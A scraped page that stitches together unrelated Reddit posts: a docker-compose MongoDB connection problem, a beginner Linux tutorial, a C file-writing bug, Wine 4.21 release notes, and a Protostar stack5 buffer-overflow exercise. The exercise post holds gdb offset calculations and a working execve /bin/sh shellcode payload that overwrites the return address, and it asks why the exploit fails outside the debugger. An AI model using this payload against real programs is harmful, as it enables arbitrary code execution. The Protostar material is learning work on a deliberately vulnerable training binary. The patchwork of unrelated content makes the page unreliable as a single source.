set O_BINARY for stdin/stdout by mattn · Pull Request #199 ...

Issue connecting two services with compose

Hoping somebody may have some ideas as I expected this to work and have done similar with other services. I'm trying to run my dotnet core project and mongodb as container services with docker-compose. Both services have a clean start with no errors. When I call an endpoint that interacts with mongo I get a timeout error. Since I'm using docker-compose I expect that I can reference the mongo service by the compose service name in the connection string.
mongo:27017/api?authSource=api with username api and password password123 as seen in the docker-compose file below. Instead I get this error:
System.TimeoutException : A timeout occured after 30000ms selecting a server using CompositeServerSelector{ Selectors = MongoDB.Driver.MongoClient+AreSessionsSupportedServerSelector, LatencyLimitingServerSelector{ AllowedLatencyRange = 00:00:00.0150000 } }. Client view of cluster state is { ClusterId : "1", ConnectionMode : "Automatic", Type : "Unknown", State : "Disconnected", Servers : [{ ServerId: "{ ClusterId : 1, EndPoint : "Unspecified/mongo:27017" }", EndPoint: "Unspecified/mongo:27017", State: "Disconnected", Type: "Unknown", HeartbeatException: "MongoDB.Driver.MongoConnectionException: An exception occurred while opening a connection to the server. - System.Net.Internals.SocketExceptionFactory+ExtendedSocketException (00000005, 0xFFFDFFFF): Name or service not known at System.Net.Dns.InternalGetHostByName(String hostName) at System.Net.Dns.ResolveCallback(Object context) --- End of stack trace from previous location where exception was thrown --- at System.Net.Dns.HostResolutionEndHelper(IAsyncResult asyncResult) at System.Net.Dns.EndGetHostAddresses(IAsyncResult asyncResult) at System.Threading.Tasks.TaskFactory`1.FromAsyncCoreLogic(IAsyncResult iar, Func`2 endFunction, Action`1 endAction, Task`1 promise, Boolean requiresSynchronization) --- End of stack trace from previous location where exception was thrown --- at MongoDB.Driver.Core.Connections.TcpStreamFactory.ResolveEndPointsAsync(EndPoint initial) at MongoDB.Driver.Core.Connections.TcpStreamFactory.CreateStreamAsync(EndPoint endPoint, CancellationToken cancellationToken) at MongoDB.Driver.Core.Connections.BinaryConnection.OpenHelperAsync(CancellationToken cancellationToken) --- End of inner exception stack trace --- at MongoDB.Driver.Core.Connections.BinaryConnection.OpenHelperAsync(CancellationToken cancellationToken) at MongoDB.Driver.Core.Servers.ServerMonitor.HeartbeatAsync(CancellationToken cancellationToken)", LastUpdateTimestamp: "2020-09-03T21:28:59.1614966Z" }] }. Stack Trace: at MongoDB.Driver.Core.Clusters.Cluster.ThrowTimeoutException(IServerSelector selector, ClusterDescription description) at MongoDB.Driver.Core.Clusters.Cluster.WaitForDescriptionChangedHelper.HandleCompletedTask(Task completedTask) at MongoDB.Driver.Core.Clusters.Cluster.WaitForDescriptionChangedAsync(IServerSelector selector, ClusterDescription description, Task descriptionChangedTask, TimeSpan timeout, CancellationToken cancellationToken) at MongoDB.Driver.Core.Clusters.Cluster.SelectServerAsync(IServerSelector selector, CancellationToken cancellationToken) at MongoDB.Driver.MongoClient.AreSessionsSupportedAfterSeverSelctionAsync(CancellationToken cancellationToken) at MongoDB.Driver.MongoClient.AreSessionsSupportedAsync(CancellationToken cancellationToken) at MongoDB.Driver.MongoClient.StartImplicitSessionAsync(CancellationToken cancellationToken) at MongoDB.Driver.MongoCollectionImpl`1.UsingImplicitSessionAsync[TResult](Func`2 funcAsync, CancellationToken cancellationToken) at MongoDB.Driver.MongoCollectionBase`1.DeleteOneAsync(FilterDefinition`1 filter, DeleteOptions options, Func`2 bulkWriteAsync) at Tests.AssetRespositoryTest.DeleteAsset(String assetId) in /app/Tests/Repository/AssetRepositoryTests.cs:line 140 at Tests.AssetRespositoryTest.TestWithTransaction() in /app/Tests/Repository/AssetRepositoryTests.cs:line 75 at System.Threading.Tasks.Task.<>c.b__139_0(Object state)
I've confirmed my connection string has the usepass set to what's in the compose file below. If I exec into my app container I can ping the mongo container by service name, but I can't use the mongo shell to connect with the root or api user instead I get this error from the mongo shell:
``` docker-compose exec app bash mongo --host mongo --port 27017 -u api -p password123 --authenticationDatabase api
2020-09-03T20:28:37.209+0000 E QUERY [js] Error: couldn't connect to server mongo:27017, connection attempt failed: SocketException: Error connecting to mongo:27017 ( :: caused by :: Connection refused : [email protected]/mongo/shell/mongo.js:344:17 ```
Interestingly I can connect when running the same mongo shell connect command from my host terminal so this seems to be a container issue.
``` version: '2'
networks: # This special network is configured so that the local metadata # service can bind to the specific IP address that ECS uses # in production credentials_network: driver: bridge ipam: config: - subnet: "" gateway:
services: # This container vends credentials to your containers ecs-local-endpoints: # The Amazon ECS Local Container Endpoints Docker Image image: amazon/amazon-ecs-local-container-endpoints volumes: # Mount /varun so we can access docker.sock and talk to Docker - /varun:/varun # Mount the shared configuration directory, used by the AWS CLI and AWS SDKs # On Windows, this directory can be found at "" - ${USERPROFILE}\.aws:/home/.aws/ environment: # define the home folder; credentials will be read from $HOME/.aws HOME: "/home" # You can change which AWS CLI Profile is used AWS_PROFILE: "default" networks: credentials_network: # This special IP address is recognized by the AWS SDKs and AWS CLI ipv4_address: ""
app: depends_on: - ecs-local-endpoints - mongo networks: credentials_network: ipv4_address: "" build: context: . dockerfile: 'Dockerfile.compose' environment: ASPNETCORE_ENVIRONMENT: "local" AWS_DEFAULT_REGION: "us-east-1" AWS_CONTAINER_CREDENTIALS_RELATIVE_URI: "/creds" volumes: - './:/app' links: - mongo:mongo ports: - 9999:9999
mongo: image: 'bitnami/mongodb:4.2' restart: 'always' environment: - MONGODB_ROOT_PASSWORD=iamroot - MONGODB_USERNAME=api - MONGODB_PASSWORD=password123 - MONGODB_DATABASE=api ports: - 27017:27017
mongo-express: image: mongo-express restart: always ports: - 8081:8081 environment: ME_CONFIG_MONGODB_ADMINUSERNAME: root ME_CONFIG_MONGODB_ADMINPASSWORD: iamroot depends_on: - mongo - app ```
``` FROM AS build
WORKDIR /vsdbg RUN apt-get update \ && apt-get install -y --no-install-recommends \ unzip \ && rm -rf /valib/apt/lists/* \ && curl -sSL \ | bash /dev/stdin -v latest -l /vsdbg

Not copying anything since it's being mounted and managed by docker-compose volumes

RUN apt-key adv --keyserver hkp:// --recv 9DA31620334BD75D9DCB49F368818C72E52529D4 \ && echo "deb [ arch=amd64,arm64 ] bionic/mongodb-org/4.0 multiverse" | tee /etc/apt/sources.list.d/mongodb-org-4.0.list \ && apt-get update \ && apt-get install -y iputils-ping mongodb-org-shell
ENTRYPOINT dotnet watch --project /app/API/src/Foo.Api/Foo.Api.csproj run --urls=http://+:9999 ```
I added an xUnit test project to exec in and run in app, but I get the same time out stack trace error seen above.
submitted by Tak_Locke to docker [link] [comments]

Linux/Unix for beginners. tutorial 1 (cont 1)

If you find this helpful. Please kindly upvote and follow to keep you updated on the next tutorials
In this tutorial will introduce the Linux OS and compare it with Windows.
Windows Vs. Linux: File System
Linux Types of Files
Windows Vs. Linux: Users
Windows Vs. Linux: File Name Convention
Windows Vs. Linux: HOME Directory
Windows Vs. Linux: Other Directories
Windows Vs. Linux: Key Differences
Windows Vs. Linux File System
In Microsoft Windows, files are stored in folders on different data drives like C: D: E:
But, in Linux, files are ordered in a tree structure starting with the root directory.
This root directory can be considered as the start of the file system, and it further branches out various other subdirectories. The root is denoted with a forward slash '/'.
A general tree file system on your UNIX may look like this.

Types of Files
In Linux and UNIX, everything is a file. Directories are files, files are files, and devices like Printer, mouse, keyboard etc.are files.
Let's look into the File types in more detail.
General Files
General Files also called as Ordinary files. They can contain image, video, program or simply text. They can be in ASCII or a Binary format. These are the most commonly used files by Linux Users.
Directory Files
These files are a warehouse for other file types. You can have a directory file within a directory (sub-directory).You can take them as 'Folders' found in Windows operating system.
Device Files:
In MS Windows, devices like Printers, CD-ROM, and hard drives are represented as drive letters like G: H:. In Linux, there are represented as files.For example, if the first SATA hard drive had three primary partitions, they would be named and numbered as /dev/sda1, /dev/sda2 and /dev/sda3.
Note: All device files reside in the directory /dev/
All the above file types (including devices) have permissions, which allow a user to read, edit or execute (run) them. This is a powerful Linux/Unix feature. Access restrictions can be applied for different kinds of users, by changing permissions.
Windows Vs. Linux: Users
There are 3 types of users in Linux.
Regular User
A regular user account is created for you when you install Ubuntu on your system. All your files and folders are stored in /home/ which is your home directory. As a regular user, you do not have access to directories of other users.
Root User
Other than your regular account another user account called root is created at the time of installation. The root account is a superuser who can access restricted files, install software and has administrative privileges. Whenever you want to install software, make changes to system files or perform any administrative task on Linux; you need to log in as a root user. Otherwise, for general tasks like playing music and browsing the internet, you can use your regular account.
Service user
Linux is widely used as a Server Operating System. Services such as Apache, Squid, email, etc. have their own individual service accounts. Having service accounts increases the security of your computer. Linux can allow or deny access to various resources depending on the service.
You will not see service accounts in Ubuntu Desktop version.
Regular accounts are called standard accounts in Ubuntu Desktop
In Windows, there are 4 types of user account types.
Windows Vs. Linux: File Name Convention
In Windows, you cannot have 2 files with the same name in the same folder. See below -

While in Linux, you can have 2 files with the same name in the same directory, provided they use different cases.

Windows Vs. Linux: HOME Directory
For every user in Linux, a directory is created as /home/
Consider, a regular user account "Tom". He can store his personal files and directories in the directory "/home/tom". He can't save files outside his user directory and does not have access to directories of other users. For instance, he cannot access directory "/home/jerry" of another user account"Jerry".
The concept is similar to C:\Documents and Settings in Windows.
When you boot the Linux operating system, your user directory (from the above example /home/tom) is the default working directory. Hence the directory "/home/tom is also called the Home directory which is a misnomer.
The working directory can be changed using some commands which we will learn later.
Windows Vs. Linux: Other Directories
In Windows, System and Program files are usually saved in C: drive. But, in Linux, you would find the system and program files in different directories. For example, the boot files are stored in the /boot directory, and program and software files can be found under /bin, device files in /dev. Below are important Linux Directories and a short description of what they contain.

These are most striking differences between Linux and other Operating Systems. There are more variations you will observe when switching to Linux and we will discuss them as we move along in our tutorials.
Windows Vs. Linux:
WindowsLinuxWindows uses different data drives like C: D: E to stored files and folders.Unix/Linux uses a tree like a hierarchical file system.Windows has different drives like C: D: EThere are no drives in LinuxHard drives, CD-ROMs, printers are considered as devicesPeripherals like hard drives, CD-ROMs, printers are also considered files in Linux/UnixThere are 4 types of user account types 1) Administrator, 2) Standard, 3) Child, 4) GuestThere are 3 types of user account types 1) Regular, 2) Root and 3) Service AccountAdministrator user has all administrative privileges of computers.Root user is the super user and has all administrative privileges.In Windows, you cannot have 2 files with the same name in the same folderLinux file naming convention is case sensitive. Thus, sample and SAMPLE are 2 different files in Linux/Unix operating system.In windows, My Documents is default home directory.For every user /home/username directory is created which is called his home directory.
Linux is an open source operating system so user can change source code as per requirement whereas Windows OS is a commercial operating system so user doesn’t have access to source code.
Linux is very well secure as it is easy to detect bugs and fix whereas Windows has a huge user base, so it becomes a target of hackers to attack windows system.
Linux runs faster even with older hardware whereas windows are slower compared to Linux.
Linux peripherals like hard drives, CD-ROMs, printers are considered files whereas Windows, hard drives, CD-ROMs, printers are considered as devices
Linux files are ordered in a tree structure starting with the root directory whereas in Windows, files are stored in folders on different data drives like C: D: E:
In Linux you can have 2 files with the same name in the same directory while in Windows, you cannot have 2 files with the same name in the same folder.
In Linux you would find the system and program files in different directories whereas in Windows, system and program files are usually saved in C: drive.
Linux Command Line Tutorial: Manipulate Terminal with CD Commands
The most frequent tasks that you perform on your PC is creating, moving or deleting Files. Let's look at various options for File Management.
To manage your files, you can either use
Terminal (Command Line Interface - CLI)
File manager (Graphical User Interface -GUI)
In this tutorial, you will learn-
Why learn Command Line Interface?
Launching the CLI on Ubuntu
Present working Directory (pwd)
Changing Directories (cd)
Navigating to home directory (cd ~)
Moving to root directory (cd /)
Navigating through multiple directories
Moving up one directory level (cd ..)
Relative and Absolute Paths
Click here if the video is not accessible
Why learn Command Line Interface?
Even though the world is moving to GUI based systems, CLI has its specific uses and is widely used in scripting and server administration. Let's look at it some compelling uses -
Comparatively, Commands offer more options & are flexible. Piping and stdin/stdout are immensely powerful are not available in GUI
Some configurations in GUI are up to 5 screens deep while in a CLI it's just a single command
Moving, renaming 1000's of the file in GUI will be time-consuming (Using Control /Shift to select multiple files), while in CLI, using regular expressions so can do the same task with a single command.
CLI load fast and do not consume RAM compared to GUI. In crunch scenarios this matters.
Both GUI and CLI have their specific uses. For example, in GUI, performance monitoring graphs give instant visual feedback on system health, while seeing hundreds of lines of logs in CLI is an eyesore.
You must learn to use both GUI(File Manager) and CLI (Terminal)
GUI of a Linux based OS is similar to any other OS. Hence, we will focus on CLI and learn some useful commands.
Launching the CLI on Ubuntu
There are 2 ways to launch the terminal.
1) Go to the Dash and type terminal

2) Or you can press CTRL + Alt + T to launch the Terminal
Once you launch the CLI (Terminal), you would find something as [email protected](see image) written on it.

1) The first part of this line is the name of the user (bob, tom, ubuntu, home...)
2) The second part is the computer name or the host name. The hostname helps identify a computer over the network. In a server environment, host-name becomes important.
3) The ':' is a simple separator
4) The tilde '~' sign shows that the user in working in the home directory. If you change the directory, this sign will vanish.

In the above illustration, we have moved from the /home directory to /bin using the 'cd' command. The ~ sign does not display while working in /bin directory. It appears while moving back to the home directory.
5) The '$' sign suggests that you are working as a regular user in Linux. While working as a root user, '#' is displayed.

Present Working Directory
The directory that you are currently browsing is called the Present working directory. You log on to the home directory when you boot your PC. If you want to determine the directory you are presently working on, use the command -

pwd command stands for print working directory
Above figure shows that /home/guru99 is the directory we are currently working on.
Changing Directories
If you want to change your current directory use the 'cd' command.
cd /tem
Consider the following example.

Here, we moved from directory /tmp to /bin to /usr and then back to /tmp.
Navigating to home directory
If you want to navigate to the home directory, then type cd.

You can also use the cd ~ command.

cd ~
Moving to root directory
The root of the file system in Linux is denoted by '/'. Similar to 'c:\' in Windows.
Note: In Windows, you use backward slash "\" while in UNIX/Linux, forward slash is used "/"
Type 'cd /' to move to the root directory.
cd /

TIP: Do not forget space between cd and /. Otherwise, you will get an error.
Navigating through multiple directories
You can navigate through multiple directories at the same time by specifying its complete path.
Example: If you want to move the /cpu directory under /dev, we do not need to break this operation in two parts.
Instead, we can type '/dev/cpu' to reach the directory directly.
cd /dev/cpu

Moving up one directory level
For navigating up one directory level, try.
cd ..

Here by using the 'cd ..' command, we have moved up one directory from '/dev/cpu' to '/dev'.
Then by again using the same command, we have jumped from '/dev' to '/' root directory.
Relative and Absolute Paths
A path in computing is the address of a file or folder.
Example - In Windows
C:\documentsandsettings\user\downloadsIn Linux/home/usedownloads
There are two kinds of paths:
  1. Absolute Path:
Let's say you have to browse the images stored in the Pictures directory of the home folder 'guru99'.
The absolute file path of Pictures directory /home/guru99/Pictures
To navigate to this directory, you can use the command.
cd /home/guru99/Pictures

This is called absolute path as you are specifying the full path to reach the file.
  1. Relative Path:
The Relative path comes in handy when you have to browse another subdirectory within a given directory.
It saves you from the effort to type complete paths all the time.
Suppose you are currently in your Home directory. You want to navigate to the Downloads directory.
You do no need to type the absolute path
cd /home/guru99/Downloads

Instead, you can simply type 'cd Downloads' and you would navigate to the Downloads directory as you are already present within the '/home/guru99' directory.
cd Downloads
This way you do not have to specify the complete path to reach a specific location within the same directory in the file system.
To manage your files, you can use either the GUI(File manager) or the CLI(Terminal) in Linux. Both have its relative advantages. In the tutorial series, we will focus on the CLI aka the Terminal
You can launch the terminal from the dashboard or use the shortcut key Cntrl + Alt + T
The pwd command gives the present working directory.
You can use the cd command to change directories
Absolute path is complete address of a file or directory
Relative path is relative location of a file of directory with respect to current directory
Relative path help avoid typing complete paths all the time.
cd or cd ~
Navigate to HOME directory
cd ..
Move one level up
To change to a particular directory
cd /
Move to the root directory
If you find this helpful. Kindly upvote and follow to keep you updated on the next posts.
submitted by bogolepov to Hacking_Tutorials [link] [comments]

Need help solving an error in C - Noobie needs rescue

I am new to C programming and the program exits with code "3221226356" in the middle of the process.
The program accepts user input to create a Multiple choice question. The question is saved in a Struct and will be saved in a bin file. I am having problems writing the struct into the bin file. it works when I have breakpoints and pause, but else, it just fails.
Structs I'm using :
struct MultipleChoiceAnwser{ char anwser1[20]; char anwser2[20]; char anwser3[20]; char anwser4[20]; int correctAnwser; }multipleChoiceAnwser; struct MultipleChoiceQuestion{ int category; int type; char question[100]; struct MultipleChoiceAnwser anwser; }multipleChoiceQuestion; 
how I invoke the struct :
struct MultipleChoiceQuestion *q1; q1 = (struct MultipleChoiceQuestion *)malloc(1 * sizeof(struct MultipleChoiceQuestion)); 
how I fill the struct:
(q1 + 1)->category = MultipleChoice; (q1 + 1)->type = MultipleChoice; printf("Insert the question: \n"); fgets(&(q1 + 1)->question,100,stdin); printf("Insert the first option: \n"); fgets(&(q1 + 1)->anwser.anwser1,20,stdin); printf("Insert the second option: \n"); fgets(&(q1 + 1)->anwser.anwser2,20,stdin); printf("Insert the third option: \n"); fgets(&(q1 + 1)->anwser.anwser3,20,stdin); printf("Insert the fourth option: \n"); fgets(&(q1 + 1)->anwser.anwser4,20,stdin); printf("Insert the number of the correct option: \n"); scanf("%1d",&(q1 + 1)->anwser.correctAnwser); 
After filling the struct, I try to write it in binary to a file, and that's where the error occurs:
FILE *fp=NULL; fp = fopen(questionsDataFile,"ab"); if(fp== NULL){ printf("Not possible to open the file ", questionsDataFile, "."); return 0; } else { fwrite((q1 + 1),sizeof(struct MultipleChoiceQuestion),1,fp); fclose(fp); return 1; } 
I would really appreciate some help! Sorry if the code is a disaster, as I said, I'm starting to learn C, anything else you see wrong, feel free to say so! Thanks in advance.
submitted by CesarCastrocc2 to C_Programming [link] [comments]

Wine 4.21 Released

The Wine development release 4.21 is now available. 
What's new in this release (see below for details):
- HTTP proxy configuration through DHCP. - Parameter block support in D3DX9. - A few more dlls converted to PE. - Various bug fixes. 
The source is available from the following locations: 
Binary packages for various distributions will be available from: 
You will find documentation on 
You can also get the current source directly from the git repository.
Check for details. 
Wine is available thanks to the work of many people.
See the file AUTHORS in the distribution for the complete list.
Bugs fixed in 4.21 (total 50):
15670 .NET applications that make use of System.IO.IsolatedStorage crash (missing "HKLM\Software\Microsoft\Windows NT\CurrentVersion\ProfileList\ " registry subkey) 22030 LegoLand: crashes at main menu without native directmusic 23729 Need For Speed: Shift - throbbing glob around language and save game name not as noticable on Wine 23821 Super Mario Brothers X hangs in quartz? 25264 treeview wstr overrun in TVN_GETDISPINFOW (ExamXML crashes when opening an XML file) 26119 kernel32/pipe tests show some valgrind warnings 26721 Button and Static controls not painting in Win NT V6.00 and later modes 28506 kernel32/change.ok test fails occasionally on linux 28602 Ccleaner: installer has a non-fatal crash 30499 Multiple Avira AVG product installers crash due to access of undocumented PEB field "UnicodeCaseTableData" (AVG Free Edition 2012-2014, TuneUp Utilities 2014) 33284 Xin Shendiao Xialv ("The Giant Eagle and It's Companion") has some graphical issues 33352 Family Tree Maker 2012 crashes when trying to start program 34048 IE8 x64 for Server 2003 exits silently 35252 Multiple applications need ITaskScheduler::Enum implementation (lsTasks, Toad for MySQL Freeware 7.x) 36121 valgrind leaks in ntdll/tests/change.c 36266 valgrind shows several leaks in dmusic/tests/dmusic.c 36404 valgrind shows a leak in faultrep/tests/faultrep.c 36405 valgrind shows a leak in msxml3/tests/xmlview.c 36615 valgrind shows a definite leak in mshtml/tests/htmldoc.c 38300 using winegcc with stdin passes arguments in the wrong position to gcc 38659 Windows Sysinternals Process Explorer v16.x crashes on startup (registry SID profile data in 'ProfileList' must contain 'Flags' and 'ProfileImagePath' values) 39210 Dream Aquarium (screensaver) fails to read monitor power state ('{4d36e96e-e325-11ce-bfc1-08002be10318}' monitor device class registry data missing) 40970 Can't run LEGO DD anymore 43323 Cars render incorrectly 45661 Gothic 2 crashes with music enabled without native directmusic 46748 Splinter Cell: Blacklist shows some 'script code' instead of text 47414 valgrind shows a definite memory leak in dlls/ntdll/loader.c 47489 The appearance of configurable options in Audacity is broken 47547 Steam Overlay stopped working 47620 unimplemented function KERNEL32.dll.GetCurrentConsoleFontEx 47656 Crysis 1: game in DX10 cannot be started (also causing Very High graphical setting not available) in Vista and up 47724 .NET Framework 3.5 SP1 not installing 47740 dotnet20sp2: fails to install on arch and derivatives 47790 putty.exe displays an error at startup when placed in a path with accented characters. 47809 mscrt: strftime is missing some substutions 47832 FindFirstFileExW believes every directory entry has been read if NtQueryDirectoryFile underfills buffer 47935 Nextiva: Logging in fails with "Client is unable to connect to the server." 47991 motec i2 pro v1.0 data logger fails to start 48016 karafunplayer: Call from 0x7124d239 to unimplemented function shcore.dll.GetScaleFactorForMonitor, aborting 48072 Everquest Classic: Textures not working correctly 48087 Firestorm viewer can't login to Second Life grid since 4.19 48104 Graphics load improperly in LEGO Island 2 48111 myodbc-installer v5.x (part of Toad for MySQL Freeware 7.x) crashes when querying for installed drivers ('SQLGetInstalledDrivers' doesn't handle NULL 'sizeout') 48114 wine: could not open working directory L"unix\\home\\tod\\", starting in the Windows directory. 48140 Archicad 22 needs missing SHCreateDataObject from shell32 48157 SetThreadDescription() return value E_NOTIMPL crashes StarCitizen 48170 start.exe: /min no longer works 48176 cannot select drawn line in excel2003 sheet (for removal) 48178 upgrade to "version 4 stable" made EXCEL2003 unusable (even after re-installing/purging wine and EXCEL) 48188 wine fails to load, "kernelbase.dll" failed to initialize, aborting 
submitted by catulirdit to linux_gaming [link] [comments]

Protostar stack5 shellcode not working in the buffer (outside is ok)

Protostar Stack5 buffer overflow (32 bits shellcode)
I got a strange behaviour (strange maybe not BUT that I could not explain :-)
When I put the shellcode inside the buffer it does not work but when outside all is working fine.
It's protostart stack5 binary in it's original VM (constructed from Iso on linux 32 bits) so I would not give further info on the binary itself (stack is executable, ASLR is off, ....)
Let me explain and let's go with gdb !

Finding the buffer overflow
gdb$ disass _start Dump of assembler code for function _start: 0x08048310 <_start+0>: xor ebp,ebp 0x08048312 <_start+2>: pop esi 0x08048313 <_start+3>: mov ecx,esp 0x08048315 <_start+5>: and esp,0xfffffff0 0x08048318 <_start+8>: push eax 0x08048319 <_start+9>: push esp 0x0804831a <_start+10>: push edx 0x0804831b <_start+11>: push 0x80483e0 0x08048320 <_start+16>: push 0x80483f0 0x08048325 <_start+21>: push ecx 0x08048326 <_start+22>: push esi 0x08048327 <_start+23>: push 0x80483c4 # Real Entry point 0x0804832c <_start+28>: call 0x80482f8 <[email protected]> 0x08048331 <_start+33>: hlt 0x08048332 <_start+34>: nop 0x08048333 <_start+35>: nop (....) 
let's disass main
gdb$ disass main Dump of assembler code for function main: 0x080483c4 : push ebp # Prologue... 0x080483c5 : mov ebp,esp # ... 0x080483c7 : and esp,0xfffffff0 # ... adress alignement 0x080483ca : sub esp,0x50 # ... reserve space on stack 0x080483cd : lea eax,[esp+0x10] # adress start of buffer 0x080483d1 : mov DWORD PTR [esp],eax # put the arg on the stack 0x080483d4 : call 0x80482e8 [email protected] # call to gets (char*) 0x080483d9 : leave 0x080483da : ret End of assembler dump. 
Let's retrieve EBP adress and value:
gdb$ x/wx $ebp 0xbffff7b8: 0xbffff838 

Let's retrieve EIP address and it's value
gdb$ x/wx $ebp+0x4 0xbffff7bc: 0xb7eadc76 
Let's check EIP return adress to be sure we're fine:
gdb$ x/5i 0xb7eadc76 0xb7eadc76 <__libc_start_main+230>: mov DWORD PTR [esp],eax 0xb7eadc79 <__libc_start_main+233>: call 0xb7ec60c0 <*__GI_exit> 0xb7eadc7e <__libc_start_main+238>: xor ecx,ecx 0xb7eadc80 <__libc_start_main+240>: jmp 0xb7eadbc0 <__libc_start_main+48> 0xb7eadc85 <__libc_start_main+245>: mov eax,DWORD PTR [ebx+0x37d4] 
Good ! It's back on __libc_start_main.

Let's get the buffer (gets) start adress :
p/x $esp+0x10 $1 = 0xbffff770 

Write the most important values for our exploitation:
---Reminder------------------------------------------------------- RET EBP : 0xbffff7b8: 0xbffff838 RET EIP : 0xbffff7bc: 0xb7eadc76 buffer start adress: 0xbffff770 ----------------------------------------------------------------- 
Let's do some computation to overwrite EIP
# EIP's address - buffer's address # gdb$ p/d 0xbffff7bc - 0xbffff770 # $1 = 0x76 
We need 76 bytes then we can start to overwrite EIP ( + 4 byte for EIP )
A is Padding B is EBP C is EIP

Let's try our buffer overflow !
./stack5 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBCCCC dmesg [50576.044013] stack5[13898]: segfault at 43434343 ip 43434343 sp bffff7e0 error 4 
EIP has been overwritten and it is working fine (43 in ASCII => 'C') !

Shellcode Exploitation
We will use a well known and working shellcode :
shellcode is 58 bytes. We will construct our payload like that:
5 (NOP) + 58 (Shellcode) + 9 (PADDING-NOP) + 4 (EBP) + 4 (EIP) = 76 + 4 EIP bytes as computed 
Important : here I put the shellcode IN the buffer
r <<< $(python -c 'print "\x90"*5 + "\x83\xc4\x10\x31\xc0\x31\xdb\xb0\x06\xcd\x80\x53\x68/tty\x68/dev\x89\xe3\x31\xc9\x66\xb9\x12\x27\xb0\x05\xcd\x80\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80" + "\x90"*9 + "\x38\xf8\xff\xbf" + "\x70\xf7\xff\xbf"') 
\x38\xf8\xff\xbf = EBP original adress = 0xbffff838
\x70\xf7\xff\xbf = overwritten EIP= buffer start adress = 0xbffff770

In GDB break juste before the ret instruction and check esp to be sure it will jump where we want
gdb$ x/wx $esp 0xbffff7bc: 0xbffff770 
Well this good for the next eip adress ! check to see if our shellcode is always there
x/30i 0xbffff770 0xbffff770: nop 0xbffff771: nop 0xbffff772: nop 0xbffff773: nop 0xbffff774: nop 0xbffff775: add esp,0x10 0xbffff778: xor eax,eax 0xbffff77a: xor ebx,ebx 0xbffff77c: mov al,0x6 0xbffff77e: int 0x80 0xbffff780: push ebx 0xbffff781: push 0x7974742f 0xbffff786: push 0x7665642f 0xbffff78b: mov ebx,esp 0xbffff78d: xor ecx,ecx 0xbffff78f: mov cx,0x2712 0xbffff793: mov al,0x5 0xbffff795: int 0x80 0xbffff797: xor eax,eax 0xbffff799: push eax 0xbffff79a: push 0x68732f2f 0xbffff79f: push 0x6e69622f 0xbffff7a4: mov ebx,esp 0xbffff7a6: push eax 0xbffff7a7: push ebx 0xbffff7a8: mov ecx,esp 0xbffff7aa: cdq 0xbffff7ab: mov al,0xb 0xbffff7ad: int 0x80 0xbffff7af: nop 
On GDB Perfect it is working !
gdb$ c Executing new program: /bin/dash $ 
out of GDB it is NOT working anymore:
same payload than in gdb
(python -c "import sys; sys.stdout.write('\x90'*5 + '\x83\xc4\x10\x31\xc0\x31\xdb\xb0\x06\xcd\x80\x53\x68/tty\x68/dev\x89\xe3\x31\xc9\x66\xb9\x12\x27\xb0\x05\xcd\x80\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80' + '\x90'*9 + '\x38\xf8\xff\xbf' + '\x70\xf7\xff\xbf')";) | ./stack5 
or (overwrite EBP)
(python -c "import sys; sys.stdout.write('\x90'*5 + '\x83\xc4\x10\x31\xc0\x31\xdb\xb0\x06\xcd\x80\x53\x68/tty\x68/dev\x89\xe3\x31\xc9\x66\xb9\x12\x27\xb0\x05\xcd\x80\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80' + '\x90'*13 + '\x70\xf7\xff\xbf')";) | ./stack5 
The only thing I get : Illegal instruction! Here a strace if it can help ...
execve("./stack5", ["./stack5"], [/* 16 vars */]) = 0 brk(0) = 0x804a000 fcntl64(0, F_GETFD) = 0 fcntl64(1, F_GETFD) = 0 fcntl64(2, F_GETFD) = 0 access("/etc/suid-debug", F_OK) = -1 ENOENT (No such file or directory) access("/etc/", F_OK) = -1 ENOENT (No such file or directory) mmap2(NULL, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb7fe0000 access("/etc/", R_OK) = -1 ENOENT (No such file or directory) open("/etc/", O_RDONLY) = 3 fstat64(3, {st_mode=S_IFREG|0644, st_size=13796, ...}) = 0 mmap2(NULL, 13796, PROT_READ, MAP_PRIVATE, 3, 0) = 0xb7fdc000 close(3) = 0 access("/etc/", F_OK) = -1 ENOENT (No such file or directory) open("/lib/", O_RDONLY) = 3 read(3, "\177ELF\1\1\1\0\0\0\0\0\0\0\0\0\3\0\3\0\1\0\0\0\320m\1\0004\0\0\0"..., 512) = 512 fstat64(3, {st_mode=S_IFREG|0755, st_size=1319176, ...}) = 0 mmap2(NULL, 1329480, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_DENYWRITE, 3, 0) = 0xb7e97000 mprotect(0xb7fd5000, 4096, PROT_NONE) = 0 mmap2(0xb7fd6000, 12288, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x13e) = 0xb7fd6000 mmap2(0xb7fd9000, 10568, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0xb7fd9000 close(3) = 0 mmap2(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb7e96000 set_thread_area({entry_number:-1 -> 6, base_addr:0xb7e966c0, limit:1048575, seg_32bit:1, contents:0, read_exec_only:0, limit_in_pages:1, seg_not_present:0, useable:1}) = 0 mprotect(0xb7fd6000, 8192, PROT_READ) = 0 mprotect(0xb7ffe000, 4096, PROT_READ) = 0 munmap(0xb7fdc000, 13796) = 0 fstat64(0, {st_mode=S_IFIFO|0600, st_size=0, ...}) = 0 mmap2(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb7fdf000 read(0, "\220\220\220\220\220\203\304\0201\3001\333\260\6\315\200Sh/ttyh/dev\211\3431\311f"..., 4096) = 80 read(0, "", 4096) = 0 --- SIGILL (Illegal instruction) @ 0 (0) --- +++ killed by SIGILL +++ Illegal instruction 
Questions / Others informations
I know there could be some adress change caused by ENVs vars but I do not think that is the problem... but I have no evidence.

Just for the exemple Shellcode After EIP (outside the buffer) : everything is OK
